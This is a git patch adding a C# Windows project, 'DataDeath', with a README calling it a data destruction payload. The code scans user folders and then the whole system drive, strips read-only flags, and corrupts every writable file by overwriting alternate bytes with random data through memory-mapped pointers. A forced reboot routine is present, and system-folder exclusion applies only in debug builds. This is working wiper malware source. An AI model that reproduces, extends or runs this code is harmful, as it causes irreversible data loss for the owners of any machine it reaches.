From 62e6a527db0ae416cdafd0530ca4df2a061c8b37 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?0=25=20=5B=E2=96=88=20=E2=96=88=20=E2=96=88=20=E2=96=88=20?= =?UTF-8?q?=E2=96=88=20=E2=96=88=20=E2=96=88=20=E2=96=88=20=E2=96=88=20?= =?UTF-8?q?=E2=96=88=5D=20100=25?= Date: Tue, 2 Jun 2026 12:58:36 -0500 Subject: [PATCH] Initial commit --- DataDeath.slnx | 9 + DataDeath/App.config | 6 + DataDeath/BackupManager.cs | 275 +++++++++++++++++++++ DataDeath/DataDeath.csproj | 103 ++++++++ DataDeath/FileDestruction.cs | 201 +++++++++++++++ DataDeath/Program.cs | 152 ++++++++++++ DataDeath/Properties/AssemblyInfo.cs | 33 +++ DataDeath/Properties/Resources.Designer.cs | 63 +++++ DataDeath/Properties/Resources.resx | 117 +++++++++ DataDeath/Properties/Settings.Designer.cs | 26 ++ DataDeath/Properties/Settings.settings | 7 + README.md | 124 +++++++++- 12 files changed, 1115 insertions(+), 1 deletion(-) create mode 100644 DataDeath.slnx create mode 100644 DataDeath/App.config create mode 100644 DataDeath/BackupManager.cs create mode 100644 DataDeath/DataDeath.csproj create mode 100644 DataDeath/FileDestruction.cs create mode 100644 DataDeath/Program.cs create mode 100644 DataDeath/Properties/AssemblyInfo.cs create mode 100644 DataDeath/Properties/Resources.Designer.cs create mode 100644 DataDeath/Properties/Resources.resx create mode 100644 DataDeath/Properties/Settings.Designer.cs create mode 100644 DataDeath/Properties/Settings.settings diff --git a/DataDeath.slnx b/DataDeath.slnx new file mode 100644 index 0000000..99c8f29 --- /dev/null +++ b/DataDeath.slnx @@ -0,0 +1,9 @@ + + + + + + + + + diff --git a/DataDeath/App.config b/DataDeath/App.config new file mode 100644 index 0000000..bae5d6d --- /dev/null +++ b/DataDeath/App.config @@ -0,0 +1,6 @@ + + + + + + diff --git a/DataDeath/BackupManager.cs b/DataDeath/BackupManager.cs new file mode 100644 index 0000000..de3b851 --- /dev/null +++ b/DataDeath/BackupManager.cs @@ -0,0 +1,275 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Threading; +using System.Threading.Tasks; + +namespace DataDeath +{ + public class ScanProgressEventArgs : EventArgs + { + public int FilesFound { get; set; } + public long TotalBytesFound { get; set; } + public string CurrentDirectory { get; set; } + public string ScanPhase { get; set; } + } + + public class BackupManager + { + private ConcurrentDictionary _scannedDirectories; + private int _currentFileCount; + private long _currentTotalBytes; + + public List PriorityFolders { get; set; } + public TimeSpan ScanDuration { get; private set; } + + public int TotalFilesFound => _currentFileCount; + public long TotalBytesFound => Interlocked.Read(ref _currentTotalBytes); + + // --- NEW SWITCH --- + /// + /// If true, skips Windows, Program Files, ProgramData, and AppData. + /// + public bool AvoidSystemFolders { get; set; } = false; + + public event EventHandler OnProgress; + + public BackupManager() + { + InitializeDefaultPriorities(); + } + + private void InitializeDefaultPriorities() + { + PriorityFolders = new List(); + string userProfile = Environment.GetFolderPath(Environment.SpecialFolder.UserProfile); + + PriorityFolders.Add(Path.Combine(userProfile, "Documents")); + PriorityFolders.Add(Path.Combine(userProfile, "Desktop")); + PriorityFolders.Add(Path.Combine(userProfile, "Downloads")); + PriorityFolders.Add(Path.Combine(userProfile, "Pictures")); + PriorityFolders.Add(Path.Combine(userProfile, "Videos")); + PriorityFolders.Add(Path.Combine(userProfile, "Music")); + + // These will be added to the list, but filtered out at runtime if the switch is active + PriorityFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); + PriorityFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)); + PriorityFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles)); + PriorityFolders.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86)); + PriorityFolders.Add("C:\\"); + } + + public void AddPriorityDirectory(string path) + { + if (!PriorityFolders.Contains(path) && Directory.Exists(path)) + { + PriorityFolders.Add(path); + } + } + + // Helper to generate the blacklist based on the switch + private HashSet GetSystemExclusions() + { + var exclusions = new HashSet(StringComparer.OrdinalIgnoreCase); + + if (!AvoidSystemFolders) return exclusions; // Return empty if switch is off + + // Critical System Roots + exclusions.Add(Environment.GetFolderPath(Environment.SpecialFolder.Windows)); + exclusions.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFiles)); + exclusions.Add(Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86)); + + // ProgramData (Hidden folder for system-wide app data) + exclusions.Add(Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData)); + + // AppData (User specific configs - safe to skip if preserving OS integrity) + exclusions.Add(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); // Roaming + exclusions.Add(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData)); // Local + + return exclusions; + } + + public void DiscoverFiles(BlockingCollection fileQueue) + { + Stopwatch sw = Stopwatch.StartNew(); + + _scannedDirectories = new ConcurrentDictionary(); + _currentFileCount = 0; + _currentTotalBytes = 0; + + // 1. Generate the exclusion list + HashSet systemExclusions = GetSystemExclusions(); + + foreach (var folder in PriorityFolders) + { + if (!Directory.Exists(folder)) continue; + + // 2. Check if this priority folder is a System Folder + if (IsExcluded(folder, systemExclusions)) continue; + + string pathRoot = Path.GetPathRoot(folder); + bool isRoot = string.Equals(folder.TrimEnd('\\'), pathRoot.TrimEnd('\\'), StringComparison.OrdinalIgnoreCase); + if (isRoot) + { + // Special handling for C:\ root to avoid scanning Windows/Program Files immediately + ScanDirectoryFilesOnly(folder, fileQueue, "Priority - Root"); + } + else + { + _scannedDirectories.TryAdd(folder.ToLower(), 0); + ScanDirectoryRecursiveParallel(folder, fileQueue, "Priority - High Value", systemExclusions); + } + } + + string systemRoot = Path.GetPathRoot(Environment.SystemDirectory); + List rootDirs = GetDirectoriesSafe(systemRoot); + + Parallel.ForEach(rootDirs, (dir) => + { + // 3. Check if the root directory (e.g., C:\Windows) is in the blacklist + if (!IsExcluded(dir, systemExclusions)) + { + ScanDirectoryRecursiveParallelWithExclusion(dir, fileQueue, "General - Full Scan", systemExclusions); + } + }); + + bool rootWasInPriority = PriorityFolders.Any(p => string.Equals(p.TrimEnd('\\'), systemRoot.TrimEnd('\\'), StringComparison.OrdinalIgnoreCase)); + + // Only scan root files (C:\*.txt) if the user didn't explicitly prioritize C:\ + // And if we are excluding system folders, we usually still allow scanning files sitting loosely in C:\ + if (!rootWasInPriority) + { + ScanDirectoryFilesOnly(systemRoot, fileQueue, "General - Root Files"); + } + + sw.Stop(); + ScanDuration = sw.Elapsed; + } + + private bool IsExcluded(string path, HashSet exclusions) + { + if (exclusions.Count == 0) return false; + + // Check exact match or if the path is a subdirectory of an exclusion + // Note: Since we are scanning from the top down, checking the current folder against the hashset is usually sufficient + // for the top-level exclusions. + return exclusions.Contains(path); + } + + private bool HasWriteAccess(string filePath, FileInfo fi) + { + bool wasReadOnly = false; + try + { + if (fi.IsReadOnly) + { + fi.IsReadOnly = false; + wasReadOnly = true; + } + + // Attempt to open the file for writing to verify permissions and lock status + using (var fs = new FileStream(filePath, FileMode.Open, FileAccess.Write, FileShare.ReadWrite)) + { + return true; + } + } + catch + { + // If we couldn't write, try to restore the attribute if we changed it + if (wasReadOnly) + { + try { fi.IsReadOnly = true; } catch { } + } + return false; + } + } + + private void ScanDirectoryFilesOnly(string path, BlockingCollection targetCollection, string phaseName) + { + try + { + ReportProgress(path, phaseName); + foreach (var file in Directory.EnumerateFiles(path, "*", SearchOption.TopDirectoryOnly)) + { + try + { + FileInfo fi = new FileInfo(file); + + // Only queue the file if we actually have write access to it + if (HasWriteAccess(file, fi)) + { + targetCollection.Add(file); // Push directly to the consumer pipeline + long newCount = Interlocked.Increment(ref _currentFileCount); + Interlocked.Add(ref _currentTotalBytes, fi.Length); + if (newCount % 100 == 0) ReportProgress(path, phaseName); + } + } + catch { } + } + } + catch (UnauthorizedAccessException) { } + catch (IOException) { } + } + + private void ScanDirectoryRecursiveParallel(string rootPath, BlockingCollection targetCollection, string phaseName, HashSet exclusions = null) + { + // If we somehow descended into a blacklisted folder, stop. + if (exclusions != null && exclusions.Contains(rootPath)) return; + + _scannedDirectories.TryAdd(rootPath.ToLower(), 0); + ScanDirectoryFilesOnly(rootPath, targetCollection, phaseName); + List subDirs = GetDirectoriesSafe(rootPath); + + Parallel.ForEach(subDirs, (dir) => + { + // Check exclusions before recursing + if (exclusions == null || !exclusions.Contains(dir)) + { + ScanDirectoryRecursiveParallel(dir, targetCollection, phaseName, exclusions); + } + }); + } + + private void ScanDirectoryRecursiveParallelWithExclusion(string rootPath, BlockingCollection targetCollection, string phaseName, HashSet exclusions = null) + { + string lowerPath = rootPath.ToLower(); + if (_scannedDirectories.ContainsKey(lowerPath)) return; + + // Safety check + if (exclusions != null && exclusions.Contains(rootPath)) return; + + _scannedDirectories.TryAdd(lowerPath, 0); + ScanDirectoryFilesOnly(rootPath, targetCollection, phaseName); + List subDirs = GetDirectoriesSafe(rootPath); + + Parallel.ForEach(subDirs, (dir) => + { + // Check exclusions before recursing + if (exclusions == null || !exclusions.Contains(dir)) + { + ScanDirectoryRecursiveParallelWithExclusion(dir, targetCollection, phaseName, exclusions); + } + }); + } + + private List GetDirectoriesSafe(string path) + { + try { return Directory.EnumerateDirectories(path, "*", SearchOption.TopDirectoryOnly).ToList(); } + catch { return new List(); } + } + + private void ReportProgress(string currentDir, string phase) + { + OnProgress?.Invoke(this, new ScanProgressEventArgs + { + FilesFound = _currentFileCount, + TotalBytesFound = Interlocked.Read(ref _currentTotalBytes), + CurrentDirectory = currentDir, + ScanPhase = phase + }); + } + } +} \ No newline at end of file diff --git a/DataDeath/DataDeath.csproj b/DataDeath/DataDeath.csproj new file mode 100644 index 0000000..3fd5b54 --- /dev/null +++ b/DataDeath/DataDeath.csproj @@ -0,0 +1,103 @@ + + + + + Debug + AnyCPU + {DD6531D7-CED1-4DF1-BC08-13EC2BCA096D} + Exe + DataDeath + DataDeath + v4.6.1 + 512 + true + true + + + + AnyCPU + true + full + false + bin\Debug\ + DEBUG;TRACE + prompt + 4 + + + AnyCPU + pdbonly + true + bin\Release\ + TRACE + prompt + 4 + + + + + + true + bin\x64\Debug\ + DEBUG;TRACE + full + x64 + 7.3 + prompt + true + true + + + bin\x64\Release\ + TRACE + true + pdbonly + x64 + 7.3 + prompt + true + true + + + + + + + + + + + + + + + + + + + + + ResXFileCodeGenerator + Resources.Designer.cs + Designer + + + True + Resources.resx + True + + + SettingsSingleFileGenerator + Settings.Designer.cs + + + True + Settings.settings + True + + + + + + + \ No newline at end of file diff --git a/DataDeath/FileDestruction.cs b/DataDeath/FileDestruction.cs new file mode 100644 index 0000000..6aad908 --- /dev/null +++ b/DataDeath/FileDestruction.cs @@ -0,0 +1,201 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.IO.MemoryMappedFiles; +using System.Threading; +using System.Threading.Tasks; + +namespace DataDeath +{ + public class DestructionProgressEventArgs : EventArgs + { + public long TotalFiles { get; set; } + public long FilesCompleted { get; set; } + public long FilesFailed { get; set; } + public long TotalBytes { get; set; } + public long BytesCompleted { get; set; } + public long BytesFailed { get; set; } + public string CurrentFile { get; set; } + public long CurrentFileBytesProcessed { get; set; } + public long CurrentFileTotalBytes { get; set; } + } + + public class DestructionResult + { + public long FilesCompleted { get; private set; } + public long BytesCompleted { get; private set; } + public long FilesFailed { get; private set; } + public long BytesFailed { get; private set; } + + public DestructionResult(long filesCompleted, long bytesCompleted, long filesFailed, long bytesFailed) + { + FilesCompleted = filesCompleted; + BytesCompleted = bytesCompleted; + FilesFailed = filesFailed; + BytesFailed = bytesFailed; + } + } + + public class FileDestruction + { + public static event EventHandler OnProgress; + + private const int BufferSize = 1024 * 1024; // 1MB buffer + private static readonly byte[] _sharedRandomBuffer; + + static FileDestruction() + { + // Pre-generate a single random buffer to eliminate CPU overhead during destruction. + _sharedRandomBuffer = new byte[BufferSize]; + new Random().NextBytes(_sharedRandomBuffer); + } + + public static async Task MangleFilesAsync(BlockingCollection fileQueue, BackupManager manager) + { + var cts = new CancellationTokenSource(); + long completedFiles = 0; + long failedFiles = 0; + long completedBytes = 0; + long failedBytes = 0; + + // I/O bound operations can benefit from higher parallelism than just CPU cores. + // This ensures we saturate the disk queue while waiting for seeks/writes. + int maxDegreeOfParallelism = Math.Max(4, Environment.ProcessorCount * 2); + + var consumerTasks = new List(); + + for (int i = 0; i < maxDegreeOfParallelism; i++) + { + consumerTasks.Add(Task.Run(() => + { + // GetConsumingEnumerable blocks and waits for files to arrive from the scanner + foreach (var filePath in fileQueue.GetConsumingEnumerable(cts.Token)) + { + ProcessFileSync(filePath, cts.Token, manager, ref completedFiles, ref completedBytes, ref failedFiles, ref failedBytes); + } + })); + } + + await Task.WhenAll(consumerTasks); + cts.Dispose(); + + return new DestructionResult(completedFiles, completedBytes, failedFiles, failedBytes); + } + + private static void ProcessFileSync(string filePath, CancellationToken cancellationToken, BackupManager manager, ref long completedFiles, ref long completedBytes, ref long failedFiles, ref long failedBytes) + { + long currentFileBytesProcessed = 0; + long currentFileTotalBytes = 0; + var lastReportTime = Stopwatch.StartNew(); + + try + { + FileInfo fi = new FileInfo(filePath); + + // Remove ReadOnly attribute if present, otherwise MemoryMappedFile will throw an UnauthorizedAccessException + if (fi.IsReadOnly) + { + fi.IsReadOnly = false; + } + + currentFileTotalBytes = fi.Length; + + if (currentFileTotalBytes > 0) + { + // Process in 100MB chunks to prevent OutOfMemoryExceptions on massive files in 32-bit processes + long chunkSize = 100 * 1024 * 1024; + int bufferIndex = 0; + + using (var mmf = MemoryMappedFile.CreateFromFile(filePath, FileMode.Open, null, 0, MemoryMappedFileAccess.ReadWrite)) + { + for (long offset = 0; offset < currentFileTotalBytes; offset += chunkSize) + { + long currentChunkSize = Math.Min(chunkSize, currentFileTotalBytes - offset); + + using (var accessor = mmf.CreateViewAccessor(offset, currentChunkSize, MemoryMappedFileAccess.Write)) + { + unsafe + { + byte* ptr = null; + try + { + // Acquire the raw memory pointer to bypass the massive CPU overhead of accessor.Write() + accessor.SafeMemoryMappedViewHandle.AcquirePointer(ref ptr); + + // The view might not start exactly at the requested offset due to system page alignment, + // so we must add the PointerOffset to get to our actual data. + byte* dataPtr = ptr + accessor.PointerOffset; + + for (long i = 0; i < currentChunkSize; i += 2) + { + cancellationToken.ThrowIfCancellationRequested(); + + // Write a single byte directly to virtual memory, skipping the next + dataPtr[i] = _sharedRandomBuffer[bufferIndex]; + + // Advance our random buffer index + bufferIndex += 2; + if (bufferIndex >= BufferSize) + { + bufferIndex = 0; + } + + // Only check the stopwatch every 65,536 bytes to save massive CPU overhead + if ((i & 0xFFFF) == 0 && lastReportTime.ElapsedMilliseconds > 100) + { + currentFileBytesProcessed = offset + i + 1; + ReportCurrentProgress(filePath, currentFileBytesProcessed, currentFileTotalBytes, manager, ref completedFiles, ref completedBytes, ref failedFiles, ref failedBytes); + lastReportTime.Restart(); + } + } + } + finally + { + if (ptr != null) + { + accessor.SafeMemoryMappedViewHandle.ReleasePointer(); + } + } + } + } + } + } + currentFileBytesProcessed = currentFileTotalBytes; + } + + Interlocked.Increment(ref completedFiles); + Interlocked.Add(ref completedBytes, currentFileTotalBytes); + } + catch (Exception) + { + long fileSize = 0; + try { fileSize = new FileInfo(filePath).Length; } catch { /* Ignore */ } + Interlocked.Increment(ref failedFiles); + Interlocked.Add(ref failedBytes, fileSize); + } + finally + { + // Ensure final progress is reported for this file + ReportCurrentProgress(filePath, currentFileBytesProcessed, currentFileTotalBytes, manager, ref completedFiles, ref completedBytes, ref failedFiles, ref failedBytes); + } + } + + private static void ReportCurrentProgress(string file, long processedInFile, long totalInFile, BackupManager manager, ref long completedFiles, ref long completedBytes, ref long failedFiles, ref long failedBytes) + { + OnProgress?.Invoke(null, new DestructionProgressEventArgs + { + TotalFiles = manager.TotalFilesFound, + FilesCompleted = Interlocked.Read(ref completedFiles), + FilesFailed = Interlocked.Read(ref failedFiles), + TotalBytes = manager.TotalBytesFound, + BytesCompleted = Interlocked.Read(ref completedBytes), + BytesFailed = Interlocked.Read(ref failedBytes), + CurrentFile = file, + CurrentFileBytesProcessed = processedInFile, + CurrentFileTotalBytes = totalInFile + }); + } + } +} \ No newline at end of file diff --git a/DataDeath/Program.cs b/DataDeath/Program.cs new file mode 100644 index 0000000..02e163d --- /dev/null +++ b/DataDeath/Program.cs @@ -0,0 +1,152 @@ +using System; +using System.Collections.Concurrent; +using System.Diagnostics; +using System.Threading.Tasks; + +namespace DataDeath +{ + class Program + { + static readonly object _consoleLock = new object(); + + static async Task Main(string[] args) + { + // Start tracking total execution time + Stopwatch totalTimer = Stopwatch.StartNew(); + + BackupManager manager = new BackupManager(); + + manager.OnProgress += (sender, e) => + { + lock (_consoleLock) + { + // Scan progress stays at the very top (Lines 0-3) + Console.SetCursorPosition(0, 0); + int width = Console.WindowWidth - 1; + + Console.WriteLine($"Scan Status: {e.ScanPhase}".PadRight(width)); + Console.WriteLine($"Files Found: {e.FilesFound:N0}".PadRight(width)); + Console.WriteLine($"Size Found: {BytesToReadable(e.TotalBytesFound)}".PadRight(width)); + + string displayDir = e.CurrentDirectory; + if (displayDir.Length > Console.WindowWidth - 15) + displayDir = "..." + displayDir.Substring(displayDir.Length - (Console.WindowWidth - 18)); + + Console.WriteLine($"Scanning: {displayDir}".PadRight(width)); + + // Draw a separator between Scan and Destruction sections + Console.WriteLine(new string('=', width)); + } + }; + + FileDestruction.OnProgress += (sender, e) => + { + lock (_consoleLock) + { + // Destruction progress starts below the scan progress (Line 5) + Console.SetCursorPosition(0, 5); + int width = Console.WindowWidth - 1; + + Console.WriteLine("Dest Status: DESTROYING FILES".PadRight(width)); + + string displayFile = e.CurrentFile; + if (displayFile.Length > Console.WindowWidth - 15) + displayFile = "..." + displayFile.Substring(displayFile.Length - (Console.WindowWidth - 18)); + Console.WriteLine($"Working On: {displayFile}".PadRight(width)); + + double filePerc = e.CurrentFileTotalBytes == 0 ? 1.0 : (double)e.CurrentFileBytesProcessed / e.CurrentFileTotalBytes; + int barWidth = width - 25; + if (barWidth < 10) barWidth = 10; // Safety fallback for very narrow consoles + int progressChars = (int)(filePerc * barWidth); + string bar = $"[{new string('#', progressChars)}{new string('-', barWidth - progressChars)}] {filePerc:P1}"; + Console.WriteLine($"File Prog: {bar}".PadRight(width)); + + Console.WriteLine(new string('-', width)); + + long totalProcessedCount = e.FilesCompleted + e.FilesFailed; + long filesRemaining = e.TotalFiles - totalProcessedCount; + + Console.WriteLine($"SUCCESS: {e.FilesCompleted:N0} files ({BytesToReadable(e.BytesCompleted)})".PadRight(width)); + Console.WriteLine($"FAILED: {e.FilesFailed:N0} files ({BytesToReadable(e.BytesFailed)})".PadRight(width)); + Console.WriteLine($"REMAINING: {filesRemaining:N0} files".PadRight(width)); + Console.WriteLine(new string('-', width)); + + double overallPerc = e.TotalFiles == 0 ? 1.0 : (double)totalProcessedCount / e.TotalFiles; + Console.WriteLine($"OVERALL: {totalProcessedCount:N0} / {e.TotalFiles:N0} processed {overallPerc:P1}".PadRight(width)); + } + }; + + Console.CursorVisible = false; + Console.Clear(); + Console.WriteLine("Starting Destruction!"); + + // This line can be disabled in prod. + // It subtracts some extra time to the scanning phase, but it ensures that system folders are not included in the destruction process. +#if DEBUG + manager.AvoidSystemFolders = true; +#endif + + // Bounded collection prevents memory issues if scanning is much faster than destruction + using (BlockingCollection fileQueue = new BlockingCollection(50000)) + { + // Start the scanning process on a background thread + Task scanTask = Task.Run(() => + { + manager.DiscoverFiles(fileQueue); + fileQueue.CompleteAdding(); // Signal that no more files will be added + }); + + // Start the destruction process concurrently, feeding off the queue + Task destroyTask = FileDestruction.MangleFilesAsync(fileQueue, manager); + + // Wait for both to finish + await Task.WhenAll(scanTask, destroyTask); + + // Stop the timer once all tasks are complete + totalTimer.Stop(); + + var destructionResult = destroyTask.Result; + + lock (_consoleLock) + { + // Output the final summary below all the live-updating text (Line 16) + Console.SetCursorPosition(0, 16); + Console.WriteLine(new string('=', 30)); + Console.WriteLine("DESTRUCTION COMPLETE"); + Console.WriteLine($"Total Time: {totalTimer.Elapsed:hh\\:mm\\:ss}"); + Console.WriteLine($"Successful: {destructionResult.FilesCompleted:N0} files ({BytesToReadable(destructionResult.BytesCompleted)})"); + Console.WriteLine($"Failed: {destructionResult.FilesFailed:N0} files ({BytesToReadable(destructionResult.BytesFailed)})"); + Console.WriteLine(new string('=', 30)); + Console.CursorVisible = true; + } + } + + //Reboot(); + Console.ReadLine(); + } + + public static void Reboot() + { + // Restart with 0 seconds delay + ProcessStartInfo inf = new ProcessStartInfo + { + FileName = "shutdown.exe", + Arguments = "/f /r /t 0", + CreateNoWindow = true, + WindowStyle = ProcessWindowStyle.Hidden + }; + Process.Start(inf).WaitForExit(); + } + + static string BytesToReadable(long bytes) + { + string[] suf = { "B", "KB", "MB", "GB", "TB", "PB", "EB" }; + if (bytes == 0) + return "0 " + suf[0]; + long absoluteBytes = Math.Abs(bytes); + int place = Convert.ToInt32(Math.Floor(Math.Log(absoluteBytes, 1024))); + double num = Math.Round(absoluteBytes / Math.Pow(1024, place), 2); + return $"{Math.Sign(bytes) * num:N2} {suf[place]}"; + } + } +} \ No newline at end of file diff --git a/DataDeath/Properties/AssemblyInfo.cs b/DataDeath/Properties/AssemblyInfo.cs new file mode 100644 index 0000000..8ad6e88 --- /dev/null +++ b/DataDeath/Properties/AssemblyInfo.cs @@ -0,0 +1,33 @@ +using System.Reflection; +using System.Runtime.CompilerServices; +using System.Runtime.InteropServices; + +// General Information about an assembly is controlled through the following +// set of attributes. Change these attribute values to modify the information +// associated with an assembly. +[assembly: AssemblyTitle("DataDeath")] +[assembly: AssemblyDescription("")] +[assembly: AssemblyConfiguration("")] +[assembly: AssemblyCompany("")] +[assembly: AssemblyProduct("DataDeath")] +[assembly: AssemblyCopyright("Copyright © 2026")] +[assembly: AssemblyTrademark("")] +[assembly: AssemblyCulture("")] + +// Setting ComVisible to false makes the types in this assembly not visible +// to COM components. If you need to access a type in this assembly from +// COM, set the ComVisible attribute to true on that type. +[assembly: ComVisible(false)] + +// The following GUID is for the ID of the typelib if this project is exposed to COM +[assembly: Guid("dd6531d7-ced1-4df1-bc08-13ec2bca096d")] + +// Version information for an assembly consists of the following four values: +// +// Major Version +// Minor Version +// Build Number +// Revision +// +[assembly: AssemblyVersion("1.0.0.0")] +[assembly: AssemblyFileVersion("1.0.0.0")] diff --git a/DataDeath/Properties/Resources.Designer.cs b/DataDeath/Properties/Resources.Designer.cs new file mode 100644 index 0000000..bc42eac --- /dev/null +++ b/DataDeath/Properties/Resources.Designer.cs @@ -0,0 +1,63 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace DataDeath.Properties { + using System; + + + /// + /// A strongly-typed resource class, for looking up localized strings, etc. + /// + // This class was auto-generated by the StronglyTypedResourceBuilder + // class via a tool like ResGen or Visual Studio. + // To add or remove a member, edit your .ResX file then rerun ResGen + // with the /str option, or rebuild your VS project. + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "18.0.0.0")] + [global::System.Diagnostics.DebuggerNonUserCodeAttribute()] + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + internal class Resources { + + private static global::System.Resources.ResourceManager resourceMan; + + private static global::System.Globalization.CultureInfo resourceCulture; + + [global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")] + internal Resources() { + } + + /// + /// Returns the cached ResourceManager instance used by this class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Resources.ResourceManager ResourceManager { + get { + if (object.ReferenceEquals(resourceMan, null)) { + global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("DataDeath.Properties.Resources", typeof(Resources).Assembly); + resourceMan = temp; + } + return resourceMan; + } + } + + /// + /// Overrides the current thread's CurrentUICulture property for all + /// resource lookups using this strongly typed resource class. + /// + [global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)] + internal static global::System.Globalization.CultureInfo Culture { + get { + return resourceCulture; + } + set { + resourceCulture = value; + } + } + } +} diff --git a/DataDeath/Properties/Resources.resx b/DataDeath/Properties/Resources.resx new file mode 100644 index 0000000..af7dbeb --- /dev/null +++ b/DataDeath/Properties/Resources.resx @@ -0,0 +1,117 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/DataDeath/Properties/Settings.Designer.cs b/DataDeath/Properties/Settings.Designer.cs new file mode 100644 index 0000000..68f4371 --- /dev/null +++ b/DataDeath/Properties/Settings.Designer.cs @@ -0,0 +1,26 @@ +//------------------------------------------------------------------------------ +// +// This code was generated by a tool. +// Runtime Version:4.0.30319.42000 +// +// Changes to this file may cause incorrect behavior and will be lost if +// the code is regenerated. +// +//------------------------------------------------------------------------------ + +namespace DataDeath.Properties { + + + [global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()] + [global::System.CodeDom.Compiler.GeneratedCodeAttribute("Microsoft.VisualStudio.Editors.SettingsDesigner.SettingsSingleFileGenerator", "18.7.0.0")] + internal sealed partial class Settings : global::System.Configuration.ApplicationSettingsBase { + + private static Settings defaultInstance = ((Settings)(global::System.Configuration.ApplicationSettingsBase.Synchronized(new Settings()))); + + public static Settings Default { + get { + return defaultInstance; + } + } + } +} diff --git a/DataDeath/Properties/Settings.settings b/DataDeath/Properties/Settings.settings new file mode 100644 index 0000000..3964565 --- /dev/null +++ b/DataDeath/Properties/Settings.settings @@ -0,0 +1,7 @@ + + + + + + + diff --git a/README.md b/README.md index 2ea52d2..bd39274 100644 --- a/README.md +++ b/README.md @@ -1,3 +1,125 @@ # DataDeath -A blazing fast data destruction payload. \ No newline at end of file +**DataDeath** is a highly optimized, multi-threaded C# utility designed for the rapid and unrecoverable destruction of file data on a Windows system. + +Unlike traditional secure wipe tools that perform multiple passes over entire files, DataDeath is engineered for absolute maximum throughput. It achieves this by utilizing a Producer-Consumer pipeline, Memory-Mapped Files, raw `unsafe` memory pointers, and an alternating-byte overwrite pattern to destroy data at the maximum sequential write speed of the host storage drive. + +⚠️ **WARNING: THIS TOOL IS HIGHLY DESTRUCTIVE.** +Running this application will permanently and irreversibly corrupt files on the host system. It is designed to reboot the system immediately upon completion. Do not run this on a machine containing data you wish to keep. + +--- + +## Key Features + +* **Producer-Consumer Architecture**: File scanning and file destruction occur concurrently. The destruction threads do not wait for the scan to finish; they begin mangling files the millisecond they are discovered. +* **Alternating Byte Destruction**: To halve the required I/O operations, the tool overwrites every other byte of a file with random data. This completely corrupts the file structure and contents while doubling the processing speed. +* **Zero-Copy Memory Mapping**: Files are not read into application memory buffers. Instead, they are mapped directly to virtual memory using `MemoryMappedFile`, and modified using raw `unsafe` pointers. +* **Pre-emptive Write-Access Checking**: The scanner verifies write permissions and file locks before queuing a file, ensuring the heavy destruction threads never waste CPU cycles on files they cannot modify. +* **Thread-Safe Dual-Pane UI**: The console provides real-time, flicker-free updates for both the scanning phase and the destruction phase simultaneously. + +--- + +## Technical Deep Dive + +### 1. The Producer-Consumer Pipeline (`Program.cs`) +The core orchestration relies on a `BlockingCollection` with a bounded capacity. This acts as the bridge between the file discovery thread (Producer) and the destruction threads (Consumers). + +```csharp +// Bounded collection prevents memory issues if scanning is much faster than destruction +using (BlockingCollection fileQueue = new BlockingCollection(50000)) +{ + // Start the scanning process on a background thread (Producer) + Task scanTask = Task.Run(() => + { + manager.DiscoverFiles(fileQueue); + fileQueue.CompleteAdding(); + }); + + // Start the destruction process concurrently (Consumer) + Task destroyTask = FileDestruction.MangleFilesAsync(fileQueue, manager); + + await Task.WhenAll(scanTask, destroyTask); +} +``` + +### 2. Intelligent File Discovery (`BackupManager.cs`) +The `BackupManager` is responsible for traversing the file system. It prioritizes high-value user directories (Documents, Desktop, Pictures, etc.) before falling back to a general scan of the root drive. + +To optimize the pipeline, it performs a **Write-Access Pre-check**. Before a file is added to the queue, the manager attempts to open a `FileStream` with `FileAccess.Write`. If the file is locked by the OS or lacks permissions, it is silently ignored. + +```csharp +private bool HasWriteAccess(string filePath, FileInfo fi) +{ + // ... attribute handling omitted for brevity ... + try + { + // Attempt to open the file for writing to verify permissions and lock status + using (var fs = new FileStream(filePath, FileMode.Open, FileAccess.Write, FileShare.ReadWrite)) + { + return true; + } + } + catch + { + return false; // File is locked or inaccessible + } +} +``` + +### 3. High-Speed File Destruction (`FileDestruction.cs`) +This is the most heavily optimized portion of the application. To avoid the massive CPU overhead of standard `FileStream.Seek` and `FileStream.Write` operations, the tool uses **Memory-Mapped Files**. + +A single 1MB buffer of random bytes is generated at startup. The destruction threads map the target file into virtual memory in 100MB chunks (to prevent `OutOfMemoryException` on massive files). It then acquires a raw `unsafe` byte pointer to the memory map and writes the random data directly to the virtual memory addresses, skipping every other byte. + +```csharp +using (var accessor = mmf.CreateViewAccessor(offset, currentChunkSize, 